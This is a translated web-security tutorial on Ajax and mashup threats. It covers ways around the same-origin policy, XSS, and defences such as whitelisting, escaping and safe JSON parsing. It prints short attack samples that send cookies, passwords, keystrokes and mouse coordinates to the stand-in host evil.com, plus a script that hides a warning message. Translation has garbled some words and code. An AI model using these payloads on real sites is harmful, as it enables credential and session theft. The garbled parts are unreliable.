Conquer the security threats of Ajax applications

Source: Internet
Author: User
Ajax, that is, Asynchronous JavaScript and XML, is a key technology in Web 2.0. It allows separating the interaction between users and web pages from the communication between Web browsers and servers. In particular, AJAX can drive mashup. mashup integrates Multiple content or services into a single user experience. However, due to its dynamic and multi-domain nature, Ajax and mashup technologies have introduced some new types of threats. Understand the threats posed by Ajax technology and explore some best practices to avoid them.

Ajax is built on the Dynamic HTML (DHTML) technology, including the following common technologies:

    • Javascript: Javascript is a scripting language for Web applications on the client.Program.
    • Document Object Model (DOM): Dom is a standard object model used to represent HTML or XML documents. Today, most browsers support DOM and allow JavascriptCodeDynamically read and modify HTML content.
    • Cascading Style Sheet (CSS): CSS is a style sheet language used to describe HTML documents. Javascript can modify the style sheet while running, so that the web page representation can be dynamically updated.

In Ajax, the client JavaScript updates the web page by dynamically modifying the DOM tree and style sheet. In addition, asynchronous communication (which can be implemented through the technology described below) allows dynamic data updates without the need to reload the entire web page:

 

    • XMLHttpRequest :XMLHttpRequestIs an API that allows clients to establish HTTP connections and exchange data with remote servers, such as plain text, XML, and JSON (JavaScript serialized Object Notation ).
    • JSONJSON is a lightweight, text-based, language-independent data exchange format proposed by RFC 4627. It is based on a subset of the ecmascript language (which makes it a part of the Javascript language) and defines a small set of format rules for creating Portable representations of structured data.

Note that some common formats in Ajax applications can replace JSON, such as XML and plain text without format. Here we choose to discuss JSON because it has some hidden security issues. We willArticleTo conduct research on it.

It is recommended that readers who are not familiar with Ajax read the references first.

Understanding the same-origin policy

When content from multiple origin sources is integrated into a single application in some way, some content may have different levels of trust between them, or they may not have to trust each other at all. In this way, there will naturally be a need to separate content from different senders and minimize conflicts between them.

The same-origin policy is part of the current browser's protection mechanism, which separates Web applications from different domains (assuming the domain represents the initiator. That is to say, if applications in multiple windows or frameworks are downloaded from different servers, they cannot access data and scripts from each other. Note that the same-origin policy can only be applied to HTML documents. Pass<SCRIPT src = "...">The Javascript file marked as the imported HTML document is considered as part of the same source of the HTML document. This policy is executed in all major browser implementations.

InXMLHttpRequestIn the context, the same-origin policy is used to control the interaction between applications and remote servers. However, the same-origin policy has limited influence on Web 2.0 applications for the following reasons:

  • You can bypass the same-origin policy in many ways.: I will demonstrate some of these methods in my article later.
  • An important feature of Web 2.0 applications is the user's contribution to content.That is to say, the content is generally not provided by trusted services, but more by asynchronous users through blogs, wikis, and other media. Therefore, even the content on a single server can actually come from multiple sources.
  • The browser enforces the same-source policy to check the server domain name as the String Literal ValueFor example, http://www.abc.com/and http: // 12.34.56.78/will be treated differently as different domains, even if the IP address of www.abc.com is actually 12.34.56.78. In addition, any path expression in the URL will be ignored. For example, http://www.abc.com /~ Alice will be recognized as http://www.abc.com /~ Malroy's same source, thus ignoring the fact that these two directories may belong to different users.
  • Most Web browsers allow web applications to extend the definition of a domain to the hyperdomain of the application itself.For example, if an application is downloaded from www.abc.comDocument. DomainRewrite the attribute to abc.com or COM (in Firefox ). Most of the latest browsers only allow accessDocument. DomainThe property is rewritten as a window object in a window or frame with the same value. However, some older browsers allowDocument. DomainAttribute.XMLHttpRequestConnection.
  • Even if a web server is in a trusted domain, the server may not be the origin of the content, especially in the context of Web 2.0.For example, enterprise portal servers, Web-based email servers, or wiki servers can be trusted, but the content they host may contain input from potentially malicious third parties, this third party can be the target of a cross-site scripting (XSS) attack (which we will introduce later. Therefore, the domain where the server is located cannot represent the trustworthiness of its content.

Avoid same-origin policy: JSON and dynamic script Markup

JSON is a plain text that contains simple brackets, so many channels can exchange JSON messages. Because of the restrictions of the same-origin policy, we cannot use it when communicating with external servers.XMLHttpRequest. Jsonp (JSON with padding) is a method that can bypass the same-origin policy.<SCRIPT>The method of tag combination, as shown in Listing 1.

List 1. JSON example

<SCRIPT type = "text/JavaScript" src = "http://travel.com/findItinerary? Username = Sachiko & reservationnum = 1234 & Output = JSON & callback = showitinerary "/>

When JavaScript code is dynamically inserted<SCRIPT>When marking, the browser will accessSRCThe URL in the property. This will send the information in the query string to the server. In listing 1, what is passed isUsernameAndReservationPassed as a name-value pair. In addition, the query string contains the output format of the request to the server and the name of the callback function (that isShowitinerary).<SCRIPT>After the tag is loaded, the callback function is executed and the information returned from the service is passed to the callback function through the callback function parameters.

Avoid same-origin policy: Ajax proxy

Ajax proxy is an application-level proxy server used to mediate HTTP requests and responses between Web browsers and servers. The Ajax proxy allows the web browser to bypass the same-origin policy, so that you can useXMLHttpRequestAccess a third-party server. To implement this bypass, you can choose from the following two methods:

    • The client web application knows the third-party URL and passes it as a request parameter in the HTTP request to the Ajax proxy. Then, the proxy forwards the request to www.remoteservice.com. Note: You can hide the use of the proxy server in the implementation of the Ajax library used by web application developers. For Web application developers, it may seem completely different from the same-origin policy.
    • The client web application does not know the third-party URL and tries to access resources on the Ajax proxy server through HTTP. With a predefined encoding rule, the Ajax proxy converts the requested URL to the URL of a third-party server and retrieves content on behalf of the customer. In this way, web application developers seem to be communicating directly with the proxy server.

Avoid same-origin policy: greasemonkey

Greasemonkey is a Firefox extension that allows users to dynamically modify the style and content of web pages. GreasemonkeyUser script)File is associated with a URL set. When the browser loads the page through the URL set, these scripts are executed. Greasemonkey provides additional permissions for the user script API (compared with the permission for the script running in the browser sandbox ).

Gm_xmlhttprequestIs an API, which is essentially an API with no same-origin policyXMLHttpRequest. User scripts can be embedded in the browserXMLHttpRequestReplacedGm_xmlhttprequestTo permitXMLHttpRequestExecute cross-origin access.

Gm_xmlhttprequestCan be protected only through user consent. That is to say, greasemonkey requires user configuration only when the association between the new user script and the set of specific URLs is established. However, it is hard to imagine that some users may be deceived and accept the installation without fully understanding the consequences.

Research attack scenarios

Not only do developers expose attacks to malicious users when they avoid the same-origin policy, but when malicious code is inserted into a web application, the current application is also vulnerable to attacks. Unfortunately, there are a variety of methods for malicious code entering web applications. We will briefly discuss two possible approaches, which are increasingly relevant to Web 2.0.

Cross-site scripting (XSS)

XSS is a common attack method in which attackers inject a malicious code segment into a well-running website. There are two basic types of XSS attacks:

    • Reflected XSS
    • Stored XSS

The reflected XSS attack exploits the low security weakness of the Web application. The application displays input parameters in the browser, but does not check whether there is any activity content in it. Generally, attackers trick victims into clicking URLs, as shown in Listing 2.

List 2. Example URL of a reflected XSS attack

Http://trusted.com/search? Keyword = <SCRIPT> document. Images [0]. src = "http://evil.com/steal? Cookie = "+ document. Cookie; </SCRIPT>

If trusted.com provides a service, the service has a search feature that can submit the search results together with the entered keywords. If the search application does not filter some special characters (such as less than sign (<) and greater than sign (>) in the URL<SCRIPT>The tag will also be inserted into the user's web page, which will send the cookie of the document to the remote server evil.com.

With the popularity of Web 2.0, stored XSS attacks become more and more serious. The key to success in Web 2.0 is the sharing, interaction, and collaboration among the masses. Therefore, users have more opportunities to use some services (such as social network services (SNS), wiki, or blog) to see input from other users (potentially malicious.

In any case, input value verification and data disinfection (sanitation) are key factors to prevent XSS attacks. In general, Web servers remove scripts from user input, but attackers often exploit server vulnerabilities to bypass these filters, resulting in some major attacks, such as the yamanner or myspacein worm.

Mashup

A mashup application is a Web application that combines content and services from multiple sources into an integrated user experience. Generally, mashup applications may create a single client application, so different parts of mashup can share information and interact with each other through browser resources (such as DOM tree or browser window tool. When some parts of mashup are written for malicious purposes (or attacked), it can inject malicious code into the application. This will lead to various types of attacks (similar to XSS), including stealing users' sensitive information.


Understanding the impact of attacks

We already know how attackers inject code into the application. Next, let's take a look at the impact of some common attacks.

Stealing cookies or passwords

For attackers, the most direct benefit is to obtain sensitive user information, such as user passwords or cookies. Because injection scripts can access any part of the DOM tree, they can steal password information from the text field of the login form. For example, the code shown in listing 3 can steal information and send it to an attacker's server.

Listing 3. Attack example: stealing passwords from text fields

Function stealpw () {var PW = Document. getelementbyid ("password"). value; document. Images [0]. src = "http://evil.com/imgs/stealpw? PW = "+ PW;} document. getelementbyid (" button "). onclick = stealpw;

In this example, the attacker needs to wait for a while until the user clicks the submit button to receive his data. Ajax makes it easier for attackers to work, because it allows attackers to send arbitrary information to remote services without waiting for user actions, such as clicking a button or clicking a link. This type of traffic is often considered suspicious, but Ajax is asynchronous, so this traffic is often not detected.

Using similar methods, attackers can also steal document cookies (such as online financial applications) from sensitive Web applications ). Document cookies allow attackers to hijack sessions or log on using stolen creden.

Note that Microsoft Internet Explorer 6 or laterHTTPOnlyCookies are supported to prevent client scripts from accessing cookies. However, this method does not help because most web applications cannot rely on browsers.

Use the key logger tool to steal Keyboard Events

Listing 4 shows a Simple keyboard record tool that steals Keyboard Events on a web page and sends them to a remote server. The keyrecord tool allows attackers to hijack any user input. For example, if a user is using a Web-based email service, the keyrecord tool records any text input and sends it to the attacker. Then, attackers can retrieve creden。, such as passwords and creden。, by analyzing and recording data.

List 4. Attack example: keyrecord Tool

Function keylogger (e) {document. Images [0]. src = "http://evil.com/logger? Key = "+ E. keycode;}; document. Body. addeventlistener (" keyup ", keylogger, false );

Use a mouse sniffer to steal Keyboard Events

A soft keyboard is a common technique to prevent keylogging tools from stealing sensitive input information (such as logon PIN codes for online financial services. However, the mouse sniffer can use techniques similar to those used by the keyboard record tool. By stealing the X and Y coordinates of the mouse event, it is also possible to calculate the keys that the mouse clicks on the soft keyboard. Listing 5 demonstrates a simple mouse sniffing example.

List 5. Attack example: Mouse sniffing

Function sniffer (e) {document. Images [0]. src = "http://evil.com/imgs/sniffer? X = "+ E. clientx +" & Y = "+ E. clienty;}; document. Body. addeventlistener (" mouseup ", Sniffer, false );

Insert error message

Attackers can use the DOM interface to modify any information in the DOM tree. For example, when a user is transferring funds online, it is also feasible for an attacker to change the target account to his/her own account. As a result, the transfer amount will be stored in the attacker's account.

In another attack type, attackers may modify the style sheet to hide the information and prevent users from discovering it. For example, suppose a web page contains a warning message, as shown in Listing 6.

Listing 6. Warning Messages

... <Style type = "text/CSS"> # warning {color: Red} </style>... <Div id = "warning"> the links in this page may refer to potentially malicious web pages, so be careful. </div>...

Attackers may modify the style sheet to eliminate warnings. For example, the JavaScript code shown in listing 7 modifies the warning style so that it is invisible to the white background.

Listing 7. Attack example: Eliminate warning

VaR E = Document. getelementbyid ("warning"); E. style. color = "white ";

Recommended Best Practices

We have a basic understanding of the possible implementation and consequences of attacks. Next we will look at some techniques and apply these techniques to improve the security of Ajax applications.

Add an input value check

As we can see in the XSS example, most attacks use server vulnerabilities to inject malicious scripts. Therefore, to protect web applications, add input verification first. Input verification and data disinfection will filter out all possible activity or malicious content from untrusted input.

Two types of input verification:

    • Blacklist:In this method, all characters in the blacklist are filtered out from the input. The biggest challenge facing the blacklist is to ensure that all dangerous characters are included in the list. Because it is impossible to predict all possible input combinations, the blacklist often cannot be correctly verified.
    • Whitelist:This alternative method lists all allowed characters and removes all other characters from the input. The biggest challenge facing a whitelist is that while keeping the list as short as possible, it still provides sufficient flexibility to allow the input types required by web applications.

You cannot use the blacklist or whitelist as an absolutely secure solution. However, whitelist is generally considered a safer choice. Therefore, we recommend that you use a whitelist to clear potentially risky input.

Escaping special characters in strings sent to the browser and displayed on them (for example, replacing the character smaller than sign (<) with "& lt;") is another method to enhance security. Some Programming Languages provide some built-in functions for escaping special characters.

Use vulnerability detection tools

Because program errors in applications are similar, many web applications are vulnerable to attacks. Therefore, security experts have developed some tools to detect these insecure programming practices. These tools are known as vulnerability detection tools that can detect potential vulnerabilities in advance. One of the most common vulnerabilities detected by these tools is that programmers forget to call Disinfection routines for potentially malicious input.

Do not generate and execute code dynamically

You can use several methods to dynamically generate code in javascript programs. One of the most famous functions isEval ()Function, which allows you to execute arbitrary strings as JavaScript code. However, it is very dangerous to use this function without authorization. Unfortunately, some widely used JavaScript libraries are directly used internally.Eval ()Function.

Secure JSON usage

JSON is based on a javascript subset, so the script content may potentially contain malicious code. However, JSON is a secure subset of JavaScript and does not contain values and calls. Therefore, many JavaScript libraries useEval ()The function converts JSON to a JavaScript Object. Attackers can exploit this vulnerability to send malformed JSON objects to these databases.Eval ()The function executes the malicious code. Some methods can be used to protect the use of JSON. The first method is to use the regular expression defined in RFC 4627 to ensure that the JSON data does not contain the active part. Listing 8 demonstrates how to use a regular expression to check JSON strings.

Listing 8. Check JSON characters using regular expressions

VaR my_json_object =! (/[^, :{}\ [\] 0-9. \-+ eaeflnr-U \ n \ r \ t]/. test (text. replace (/"(\\. | [^ "\]) *"/g, '') & eval ('+ TEXT + ')');

Another more secure method is to use the JSON parser to parse JSON. Because the JSON syntax is quite simple, you can easily implement this parser without significant performance differences.

Use <IFRAME>

You can use the same-origin policy to prevent attackers from accessing the entire DOM tree easily. When you load data from different domains to<IFRAME>You should give the data a javascript execution context and DOM tree of your own. This prevents attackers from stealing information from the home page. As many as possible<IFRAME>Limiting untrusted external content is a good practice.

Conclusion

In this article, we have outlined various methods for avoiding the same-origin policy in Web 2.0 applications. We also demonstrated how these methods expose some new attack points in Web applications. We have discussed some common attack types and the consequences of these attacks. Finally, we will summarize the article in the brief Best Practices Section and use these best practices to avoid some of the most common attacks.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.